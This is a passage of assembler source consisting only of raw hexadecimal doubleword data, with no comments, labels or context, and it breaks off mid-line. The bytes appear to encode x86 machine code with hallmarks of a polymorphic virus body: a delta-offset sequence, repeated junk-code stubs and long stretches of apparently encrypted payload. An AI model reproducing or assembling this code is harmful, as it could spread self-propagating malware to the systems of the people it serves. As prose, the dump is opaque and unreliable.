0C0100000h, 250CB52Ch, 0A134A1E4h, 0E8924AA4h dd 12h, 4AB636FBh, 93EC647Ch, 64654D2Fh, 83694337h, 5FFCA613h dd 8D8D895Eh, 0C707E419h, 0E82F4E85h, 107h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 0DD204B7h, 0CE7E1C51h, 8DBD0139h, 0E907E41Fh, 45h, 16ADB58Bh dd 85C707E4h, 7E82F4Eh, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 73C35343h dd 45D9531h, 0EE907E4h, 8E000000h, 0AB0E26EAh, 0DD8611FEh dd 0A7600E2Dh, 0C59D8D42h, 6A07E41Ah, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 7BFEC351h dd 28537E3Bh, 3DFA5D2Ch, 81FB8B66h, 0FFFEFF23h, 51006AFFh dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 68D0F09h, 89000000h, 0E404D185h, 6850F07h, 8B000000h dd 0E430B9BDh, 0DB8C6607h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 19h, 0FEC35545h, 37B9FE83h, 0F98B667Eh, 0F04C3F6h dd 2484h, 0C18D8900h, 0FF07E41Eh, 0E42D9195h, 62CF8107h dd 9025FB3Bh, 303CAABFh, 2390501Dh, 0E41C31BDh, 10BF6607h dd 442E912h, 8D090000h, 7E4159Dh, 0BD3100B0h, 7E422C5h dd 0EE970E6h, 55000000h, 3D193232h, 0CCC16018h, 0B2BA78CAh dd 6810F5Fh, 9000000h, 0E40A859Dh, 6A71E407h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 0D136C357h, 60A78241h, 1A58589h, 895207E4h, 0E421F9B5h dd 0F615F07h, 6AD8B6h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 0A59B95C3h, 6BAh, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 5AAF332Eh, 23013B74h, 0BD8B5906h, 7E42D95h, 6AC38Bh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 0F0C17C3h, 89B509F8h, 0F07E425h, 86h, 4E8C100h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 40C35242h, 8B5757C2h dd 0E43181BDh, 0F7665E07h, 56006AE2h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0FEE46F9h dd 0D82BF2B7h, 9C18D89h, 9D8907E4h, 7E4186Dh, 8B666050h dd 61F98BC7h, 60241C89h, 61F18B66h, 2AD5B5FFh, 860F07E4h dd 6, 58C9CF81h, 95FF6378h, 7E40E41h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 19h, 93C35040h, 0D05E3A6Ah, 91BD8B60h dd 0B007E423h, 9DBD8B00h, 0E607E414h, 57006A70h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 10998D13h, 2C9B169Bh, 8B71E4C6h, 0F613CFBh, 27F83h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 914166Ah, 15F632D1h, 0DE817690h, 1249FFAFh dd 6AD8B60Fh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 18042444h, 45000000h, 49C3C355h, 0E935391Fh, 6, 5E3289A5h dd 8589E258h, 7E415D1h, 6BAh, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 820FC294h dd 0Dh, 8E9h, 5157EE00h, 0ED48A5C6h, 89C38BD5h, 0E41415BDh dd 0E8BE6607h, 4E8C1D9h, 6AE2F766h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0F28C352h dd 57830D44h, 0FB8B660Ch, 6AD82Bh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 44A220C3h, 0AB789176h dd 0BE92930h, 0F7000000h, 0C670F1ABh, 0D1662E96h, 6A587851h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 25BEC356h, 0FD82B0Eh, 15788h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 62B562FBh, 7B9h, 0F7816600h, 0C183B18Ah, 79B58B00h dd 3B07E402h, 1D860FD9h, 6A000001h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 7B29C356h dd 4CFBB30Ch, 10E9B35Ah, 0AA000000h, 53685F8Ah, 92518B92h dd 6BA1E5D1h, 661D5242h, 0F6F8D98Ch, 840F04C1h, 0A2h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 76C35040h, 0FF2C78BCh dd 0E42D9195h, 0F1958907h, 5B07E423h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 3EC35646h, 36808BA3h, 30D8131Dh dd 6E9DCh, 3ACC0000h, 0BE62FAA0h, 6AC32Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 160424h, 50400000h, 26EB7FC3h dd 6E9h, 1C240400h, 3DE42DC3h, 834h, 10860Fh, 0AABE0000h dd 0E96A298Dh, 3Ch, 89B6D781h, 0C08B0EABh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 34C35040h, 8CF211F2h dd 0BD8B35AAh, 7E431D5h, 68E0Fh, 0BD8B0000h, 7E42D61h dd 0D88BC38Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Bh, 11C35040h, 0EAAA3B07h, 0FA00CBAh, 782h, 1870F00h dd 0FC000000h, 96585C7h, 115107E4h, 6A7168h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 0B02BB6C3h dd 8BAB695Bh, 0D18589C0h, 8107E404h, 0E42AD5BDh, 7D007h dd 34850F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 40E3C356h, 0FF579CB7h dd 6694E8D1h, 12B4EE81h, 2AD585FFh, 0B2BE07E4h, 0FF2777D9h dd 0E42AD5B5h, 52006A07h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1604h, 0C3524200h, 29610F6Bh, 0E431C58Dh dd 4195FF07h, 0E907E40Eh, 0Ah, 0ECC6163Ch, 2F5534F5h, 319081BFh dd 0E40BA5B5h, 58E0F07h, 0BE000000h, 4AD87B76h, 3C58D29h dd 6A07E4h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 6E927CC3h, 8817F742h, 0CE8h, 0C7C1FD00h dd 0EFD7BEBEh, 0A43D4D77h, 82EEBFE6h, 295F1279h, 0E4307DB5h dd 0F8BF0F07h, 0FF7BF0Fh, 68Eh, 31B58900h, 8907E41Fh, 0E40EE1BDh dd 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h dd 0C3504000h, 61A3DCEAh, 34D70DD0h, 0FDB5234Fh, 8B07E42Ah dd 5B503FBh, 0BE07E40Ah, 6222BEA3h, 0D558589h, 0F9F907E4h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0C0C35747h dd 89772531h, 0E41AB5B5h, 53006A07h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 22880F4Dh dd 60000000h, 0BE8h, 99CB100h, 4791549h, 0B13DC8ACh, 2958535Bh dd 0E421018Dh, 3161F507h, 0E4042185h, 75BD8B07h, 0E907E40Bh dd 0FFFFF753h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 0F5C35141h, 0A12E2BD4h, 2AE98D5Eh, 3E000000h, 49AB69h dd 9 dup(0) dd 58AE900h, 8D650000h, 0E8C1D76Bh, 421E34C8h, 9F7E9428h dd 6E1F78Bh, 777D56EAh, 53E703DEh, 0B145633Dh, 13A7BD9Bh dd 740820FDh, 0EF9411C1h, 6B13AA9Ah, 79569726h, 805B2961h dd 0DDBAD064h, 0E2BF8DC5h, 6CA4B897h, 4D6B45D1h, 0C542A4F4h dd 1442A03Eh, 17688861h, 44D69CAEh, 0A09E65E2h, 0CC3C1442h dd 0D6919A00h, 8D9FF8F4h, 427A9A73h, 48809674h, 0FA869C7Ah dd 15CC041Eh, 0D653063Eh, 14423C21h, 0C9EB44ADh, 4825184Ch dd 0A8869C30h, 0AE8FE92h, 14EEBCF4h, 2E08A6F6h, 8138FE10h dd 0A583FAAAh, 0AF21FB8Fh, 0BD9B3170h, 224147A7h, 0C7A45BD8h dd 0C9321442h, 67445E70h, 8561FF4Fh, 0E693596Bh, 1442C714h dd 0BA90B09h, 0D6AD182Ch, 841442C7h, 386C091Bh, 5BAA7B84h dd 50AB1DE0h, 42709FC6h, 0BEFD9CAEh, 1D000000h, 548CA07Fh dd 92D2A7B9h, 9FB39230h, 9A61CC67h, 381442A0h, 4FA8BE9Ch dd 2E46233Dh, 0A0B449F6h, 0B06D1442h, 1137C8F4h, 0DA0E05Ch dd 0C0000000h, 8726F24Eh, 88648889h, 2E03156Eh, 4E2A7D56h dd 861FC34h, 0C2A03ED0h, 0A7809AACh, 35C53787h, 0E0F2B89Ch dd 2C09EE6Bh, 5CC51442h, 5D2BF103h, 7C1A6A7Eh, 804E86A0h dd 21338CA2h, 90B18D5Bh, 0CBC9B2B0h, 0CC045D77h, 0B9426C2Ah dd 0CC58A7E6h, 1922CEF1h, 0FD428FB7h, 8B086CA4h, 6D8964DBh dd 1F419A35h, 0D8E5C361h, 42ECA45Bh, 70C93214h, 758D6A38h dd 396D0A1Ch, 0B94D6D46h, 1AAEC6A3h, 0DC90CE40h, 3CBB2525h dd 0D9EB4462h, 5F7B5604h, 69805927h, 42A017ECh, 0B047C414h dd 1E1442A0h, 0A2FB64B5h, 23632C6Ah, 0B145613Ch, 7B9FBE9Bh dd 38D3B258h, 14A6DE37h, 467E9C76h, 0A37F99ABh, 0A9835189h dd 0A685538Bh, 0CCA35A92h, 6F80D898h, 0B3A88737h, 986DE05Bh dd 96000000h, 275F7B56h, 13637D59h, 2EFAF3A1h, 0C1D33F77h dd 38502DFBh, 86745E00h, 0C9797729h, 1048603Dh, 3B772FACh dd 75E89C19h, 902E7E9Ah, 698B9DB1h, 50297853h, 2EC7BC39h dd 2A931442h, 724078D1h, 331B7893h, 0BEFBB604h, 98771565h dd 0FF1FF884h, 541A2CC7h, 0C1FDA9BAh, 0E05C016Eh, 69A8F668h dd 579A3D8Dh, 5CA645h, 54C60000h, 9880D4DFh, 6F896549h dd 562F0416h, 59275F7Bh, 0AF16E7Bh, 0C81442A0h, 0A014EB68h dd 59C21442h, 8E6FA700h, 9E45B0Bh, 568859EDh, 6F0D5D7Dh dd 536B4891h, 0C727801Bh, 0E421679Ah, 4E142678h, 4219DFA1h dd 5F07C414h, 8B9F7E1Ch, 0CBA6B853h, 0E05B5834h, 1A1h dd 7A56CA00h, 7D5A2860h, 0E4A31565h, 0C88123A9h, 21EFB5C7h dd 22F02848h, 60F22A48h, 422D1CE3h, 2F51BA14h, 49BEF2B2h dd 6F4B3272h, 0EDA2C155h, 0BEF471C1h, 7D13A61Ch, 8A9E7D1Bh dd 0B74CB752h, 2313A61Eh, 1EB146C3h, 0B41D13A6h, 16A495Bh dd 31C537C9h, 0A737B44Ah, 20798D6Ch, 0FF17F40Eh, 2D78556Bh dd 0A4DC3553h, 0A60706F7h, 4BFB7E13h, 7D957210h, 5C74516Bh dd 0BDD5B2C8h, 0C2DAB785h, 0C3834C8Ah, 0C50B2698h, 0C726C50h dd 0EB03E0FAh, 0A7F8057h, 2758D878h, 81000001h, 5D39424Dh dd 1D9AEA43h, 13A6BE43h, 0E658A811h, 0F5D1AB38h, 0E5B97BDBh dd 9D79DAFh, 0A680142Ch, 8330C744h, 359E13A6h, 142C0923h dd 6BE84ADCh, 13A68394h, 0B2C8A642h, 7486DF7Ah, 15657D5Ah dd 6F819B77h, 0E2A26BA9h, 204019B7h, 21411AE8h, 0E3F54EE9h dd 40D4ECC9h, 1703F466h, 0CAE509E4h, 1D7D80E9h, 0A1B3A079h dd 77CA39C6h, 4A9ED8h, 4CBE0000h, 12B00B1Fh, 8B607243h dd 1A6A444Dh, 0BD5F069Dh, 40E3556Bh, 70F4FF7Eh, 9801E0F2h dd 0B7CBAA48h, 4D32DFA5h, 0CE94427Bh, 0D3A1D9F1h, 67A5DDF7h dd 0ADAAE69Eh, 0DBB6BEE6h, 910683D3h, 0BDEBBD84h, 6BF2C054h dd 81000000h, 1C6C424Dh, 0A6B9F59Fh, 0FA329B13h, 0F2890668h dd 6013A6BAh, 0EECBE5F7h, 4F2C42D6h, 0B6DFF37h, 0A6BAE98Eh dd 70FC6513h, 0A43F7797h, 0BA199992h, 591D13A6h, 0B0C2E2BBh dd 0FEC5313h, 0EB8963F7h, 0BDE0F212h, 0F8CDCD2h, 144E828Ch dd 532159C2h, 700E5E76h, 0A7427A94h, 4118CF95h, 307E1105h dd 0CC7863E0h, 0AD161C66h, 424D4819h, 0B9455B39h, 1C6CC5DBh dd 0AA993C9Fh, 0D9B55313h, 7AA911B8h, 55E5E6Ah, 412032CDh dd 0F5D2A0D8h, 58B1D1AAh, 0B9D1AEC4h, 0FFE7D481h, 25A25DE9h dd 921FE61h, 6A825F75h, 71856432h, 778D6B39h, 7B95713Fh dd 431CA843h, 870AEB23h, 471E93DFh, 2B43201Fh, 8CA48197h dd 0FCE54h, 925D0000h, 9DFD19F4h, 2424B0F1h, 775A6C70h dd 5C7E5628h, 61795624h, 677D5B29h, 6987612Fh, 6C886331h dd 6F8B6634h, 768A6937h, 7A94703Eh, 7B9B7442h, 8956EE43h dd 4C681E6h, 83000000h, 0FF5604EEh, 5E042474h, 5C24048Fh dd 4EC81h, 14890000h, 0E3895324h, 4C381h, 0EB810000h, 4 dd 5C241C87h, 68240489h, 7E83A0Fh, 8124148Bh, 4C4h, 48B5400h dd 4C48324h, 27F268h, 24148900h, 0FF08408Fh, 81582434h dd 4C4h, 24148B00h, 81E18951h, 4C1h, 4C18300h, 5C240C87h dd 0FC3E6AE9h, 40B1A2FFh, 6D1D20F5h, 0E83F1BB8h, 0FFC50307h dd 0F885ABE0h, 17FBA12Eh, 778DF130h, 0E182EE67h, 2E561569h dd 63E0B85Ah, 68274667h, 62B4FF70h, 8BE0365Ah, 2C594243h dd 64D06F5Dh, 589DBB56h, 0F629A305h, 0F3F4B60Ah, 0AB46DD54h dd 0C1ED5D29h, 3F516138h, 4E368A3Ch, 9953C429h, 694D4806h dd 0E9C18B52h, 9, 12DCE2Ah, 0E0AD7D5Dh, 4EBDFh, 8B000000h dd 0E401A1BDh, 50006A07h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 24F49CA6h, 0B7E2348Ch dd 85858D4Eh, 6607E40Dh, 9170C781h, 24048950h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 76C35747h, 2AF691CCh dd 759D89C8h, 6A07E415h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1D04h, 0C3524200h, 12C53CD2h, 2BC0A5CEh dd 81666DCAh, 6A3D55D6h, 94858D00h, 0F07E841h, 68Bh, 3D9D8900h dd 8307E405h, 0E89005C0h, 9, 0A6F3BA9Bh, 0D71C02Bh, 53505F6Eh dd 5F616051h, 6A905Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 0F4F167C3h, 236D813Bh, 0F5B80C12h dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 7D96C7C3h, 9DE8A018h, 29006AF6h, 0E41C3985h dd 13E907h, 0E2580000h, 0D4B16EF3h, 0E4A280B7h, 806CF5B4h dd 0DA833A01h, 7195FF1Fh, 0BE07E424h, 763B83CEh, 0D64B9D8Dh dd 10E907E7h, 9000000h, 90A9E7FEh, 0F572C3Ah, 0C43CC39Dh dd 8B2C298Ah, 0E41A09BDh, 89D3FF07h, 0E41C7DBDh, 0B985FF07h dd 6A07E420h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 1F1BC356h, 3817A79Bh, 47CF8166h dd 0E1BD03E8h, 0E907E422h, 8AAh, 0E8h, 0ED815D00h, 7E8419Eh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 39C35747h dd 8D01DA12h, 7E42ACDh, 2AD5BD81h, 7D007E4h, 860F0000h dd 179h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 0B7C35141h, 81587F5Fh, 29A450CEh, 5E902h, 21E10000h dd 8BD2C97Dh dd 0E406FD9Dh, 68F0F07h, 8B000000h, 0E415E1B5h, 0E38107h dd 0F000001h, 13E9F0BFh, 3C000000h, 0D981EFD1h, 0B92FFFF5h dd 0FC8957D6h, 53293B1Ch, 0DB0B475Dh, 8F850Fh, 8D290000h dd 7E41459h, 4004BD83h, 0F0007E8h, 3C84h, 4ABF6600h, 0A9E9B4h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 0E9121DC3h, 11h, 0E7CC4CB5h, 0B4C17817h dd 0CDDF3750h, 73029C6h, 485C710h, 107E840h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 0AC27C356h, 568778FDh, 552E9756h, 279B58Bh dd 3CE907E4h, 29000000h, 0E40AE995h, 485C707h, 7E840h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 8980C353h, 0E41AC985h, 5E907h dd 0D0A00000h, 8D42FF32h, 0E406FD9Dh, 6810F07h, 89000000h dd 0E41FA985h, 0FF238107h, 6AFFFFFEh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 33FAC353h dd 0E2ACF63Bh, 8B661ABFh, 6810FF2h, 1000000h, 0E4067995h dd 0DB8C6607h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 0C6C35343h, 4C3F615h, 42840Fh, 95FF0000h, 7E42D91h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0FC35545h dd 0BD29D926h, 7E424CDh, 8820F50h, 60000000h, 310F5250h dd 8961585Ah, 95312404h, 7E42AEDh, 4A3E9h, 81B58B00h, 0B007E414h dd 0EE900h, 0F3070000h, 5EBDA5FDh, 2A9F8DF1h, 0ED694517h dd 6A70E6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 0BF49A3C3h, 671DA23Bh, 12E9h, 0E58E7A00h dd 2399BE28h, 737B769Eh, 0C7BFC543h, 0E4A46EDCh, 0CDB50371h dd 0F07E429h, 890FD8B6h, 10h, 0BE9h, 47DCEE00h, 102BD665h dd 524EF65Dh, 6BAh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1A04h, 0C3534300h, 529E2703h, 0FB03D41h dd 1483h, 0FE900h, 0E5A40000h, 7B05F1C6h, 67360A38h, 6CF761A0h dd 6AC38B8Ah, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 16042444h, 43000000h, 7C3EC353h, 5D9D8998h, 8B07E405h dd 4E8C1F2h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 6FC35747h, 9556F446h, 8937F501h, 0E413ED8Dh, 0E2F76607h dd 6AD82Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 14208C3h, 68AE5364h, 14E898h, 95F50000h dd 0AFB16B2Eh, 61EDFC08h, 0B4A57A7Ah, 0A88248D4h, 8B66DDF7h dd 50935FFAh, 6E952h, 0E5DA0000h, 4253D8FCh, 28BE310Fh dd 5A42CEA7h, 0EDBE5058h, 9305E9F8h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 4EC35343h, 0D5B5FF19h, 0E907E42Ah dd 8, 835240D8h, 462EB6F2h, 0E4195FFh, 6A07E4h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 76D0E4C3h, 7E233955h, 357DD8Bh, 0E41BDDB5h, 0B05F07h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0C9C35040h dd 38530E1Eh, 0FC8C5B2h, 70E6F3B7h, 5E860h, 99790000h dd 0F99E02A4h, 79B5895Fh, 6107E42Dh, 9D8971E4h, 7E40991h dd 830F613Ch, 284h, 18158D89h, 0B60F07E4h, 6BAD8h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 0D81DADC3h, 3BACE58Ah, 0C9B51BFh, 6AC38B07h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 0F1AAC350h, 1CB4ED21h, 0FEB9273h, 0E8C1FEBFh, 51006A04h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 26A0F657h, 0F76664C4h, 53006AE2h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 8BD82BA1h dd 0E42C6DB5h, 6A5807h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 180424h, 55450000h, 210239C3h, 0E9F8FED8h, 7, 7F34C727h dd 2B6B4907h, 0A5880FD8h, 6A000001h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0AF81C350h dd 9F714218h, 0CF3F5BEEh, 7B9h, 0C18300h, 7E8h, 0E96AE000h dd 0C25D8436h, 0B8D0Fh, 6E90000h, 0E4000000h, 3E41353Dh dd 0D93B5E21h, 152860Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 93C8D2C3h, 0BFC26AEBh dd 507BC1F9h, 6AD98C66h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 16B6C357h, 0EDAC77C8h dd 7DB58B51h, 0F607E415h, 840F04C1h, 0F1h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0D3C35040h, 4D6156E8h dd 958AE8F7h, 95FFFC4Dh, 7E42D91h, 52006A5Bh, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0E8E12989h dd 71B8B6C4h, 0F59D8915h, 2B07E420h, 55006AC3h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 0BF660261h dd 343DE2E2h, 0F000008h, 6C86h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 0C5B4F4ACh dd 77F541DAh, 0BE9D3h, 455A0000h, 0DE55DD3Eh, 8C1C9FAFh dd 0DE9ACh, 0E1600000h, 0C768901h, 0B08FBDDCh, 0E93CD8BFh dd 28h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h dd 4C35646h, 0A873F2EEh, 0BEC08B9Eh, 2CE41AEBh, 0D88BC38Bh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 81C35040h dd 85C78DE4h, 7E41AC5h, 7378471Bh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 51C35141h, 0EE966h, 217D0000h dd 0AFAD7241h, 47EA49F4h, 0D22E8A13h, 0BD81C08Bh, 7E42AD5h dd 7D0h, 10850Fh, 0B5290000h, 7E4181Dh, 2AD585FFh, 0BF6607E4h dd 0B5FFED33h, 7E42AD5h, 29BD8529h, 0BD8B07E4h, 7E42DC5h dd 0E4195FFh, 6A07E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 8BB116C3h, 0E41A71BDh, 49BD8B07h dd 9007E426h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 46C35040h, 8BC40B36h, 0E41531B5h, 0CE907h, 2BBC0000h dd 0D45FE636h, 2251BB75h, 6A64BCh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 8DCECAC3h, 9D292F26h dd 7E43329h, 6AFA8Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 0D2AF9BC3h, 0F986F5F6h, 0F18D2980h dd 0E907E431h, 9, 625378E9h, 538C51DDh, 1BC68156h, 814DE307h dd 0C80BFDF7h, 0E820F16h, 60000000h, 0C3AACB81h, 85895352h dd 7E42525h, 50006A61h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1804h, 0C3504000h, 0E635B0E5h, 0C870FDCh, 8B000000h dd 0E40D45BDh, 6DBD8B07h dd 6A07E405h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 2E8FC351h, 0A997073Dh, 8D0953A0h dd 7E431C1h, 0FFF75FE9h, 0FBBF0FFFh, 2149BD8Bh, 0C18B07E4h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 79C35545h dd 0F3BF6618h, 4EB19h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 2AABC355h dd 0AA73342Bh, 5860F72h, 66000000h, 602CDF81h, 8DF2BF0Fh dd 0E40D8585h, 7E95007h, 0B0000000h, 53F4E938h, 4893B7Eh dd 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 59B589B7h, 6A07E42Dh, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0F7810996h dd 3B63F9D9h, 0BE9h, 92F7D700h, 56270B47h, 81C7AAB6h, 6A006Ah dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 0AB28A8C3h, 0CBFFF1C0h, 0E98B0F35h, 0Ah, 0B48E1B06h dd 0F9129E67h, 858D08B4h, 7E84C24h, 2C598529h, 0C08307E4h dd 51006A05h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 93DE7173h, 634EC9A1h, 0F50B302h, 48Bh, 0AFBE6600h dd 2404897Ch, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 18h, 0B6C35040h, 0C4F5FCB0h, 10E9h, 67069900h, 0A26EEF0h dd 0C0446454h, 621A92D0h, 51BD299Eh, 6A07E42Dh, 0FD958900h dd 6A07E408h, 0B5016000h, 7E40F21h, 68F0Fh, 860F0000h dd 0 dd 7195FF61h, 6A07E424h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 2636C351h, 0BD8BE682h dd 7E401DDh, 0D64B9D8Dh, 0B58B07E7h, 7E407BDh, 1ABED3FFh dd 0FF37C71Fh, 0E420B985h, 0B1BD8B07h, 0E907E423h, 848h dd 0E8h, 0ED815D00h, 7E84C2Eh, 15C5B58Bh, 0BD8107E4h, 7E42AD5h dd 7D0h, 160860Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 150424h, 53430000h, 6611F3C3h, 7D0DD681h dd 5559D8Bh, 6A07E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1D0424h, 51410000h, 761FE0C3h, 0FA96CACAh, 895825B8h dd 0E43079B5h, 0E38107h, 60000001h, 149D9D8Bh, 0F18107E4h dd 3EF5D87Dh, 0FDB0B61h, 9285h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 0F6A116F1h dd 0FA7C00BAh, 4A68BD83h, 0F0007E8h, 4D84h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 0E8DDA338h, 0D0FA7EB0h, 198D0F8Ch, 0E9000000h, 14h dd 0ED3C3A80h, 842DE3A1h, 654EF3C2h, 14CB4027h, 116916Ch dd 0D9CF8166h, 27E997h, 85C70000h, 7E84A68h, 1, 55DB531h dd 12E907E4h, 0C7000000h, 0E84A6885h, 7, 2810F00h, 8B000000h dd 559D8DF0h, 6A07E405h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 646FC355h, 0F5BD72B1h dd 33137EFBh, 0B4BA2BBEh, 0FF238122h, 0E9FFFFFEh, 12h dd 0F6D7BFD5h, 6B231420h, 9F971D4h, 0A3AF12CCh, 8C665E8Ah dd 51006ADBh, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 376F0E22h, 3315EBE4h, 0C3F61ADCh, 51840F04h dd 0F000000h, 0C8Fh, 68B0F00h, 0F000000h, 87h, 9195FF00h dd 6607E42Dh, 0E850F98Bh, 10h, 0DF48E7A7h, 0E256BB54h dd 95578211h, 64014208h, 2830Fh, 0F18B0000h, 2404895Eh dd 5E860h, 42E40000h, 23A2D8C5h, 0E40F31BDh, 61F55F07h dd 3DEE9h, 0C5952900h, 0B007E421h, 10E900h, 57CF0000h dd 480798B8h, 51B5CB7Fh, 83D7E214h, 70E64F21h, 0A19D8B60h dd 0B607E406h, 71E46112h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 9AC35040h, 1C2B3264h, 0FD24058h, 6AD8B6h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 65FF0BC3h, 6BAFC1Eh, 1000000h, 0E41B8DBDh, 66C38B07h dd 0E8C1FB8Bh, 1D8A0F04h, 0E8000000h, 11h, 61A7ED0h, 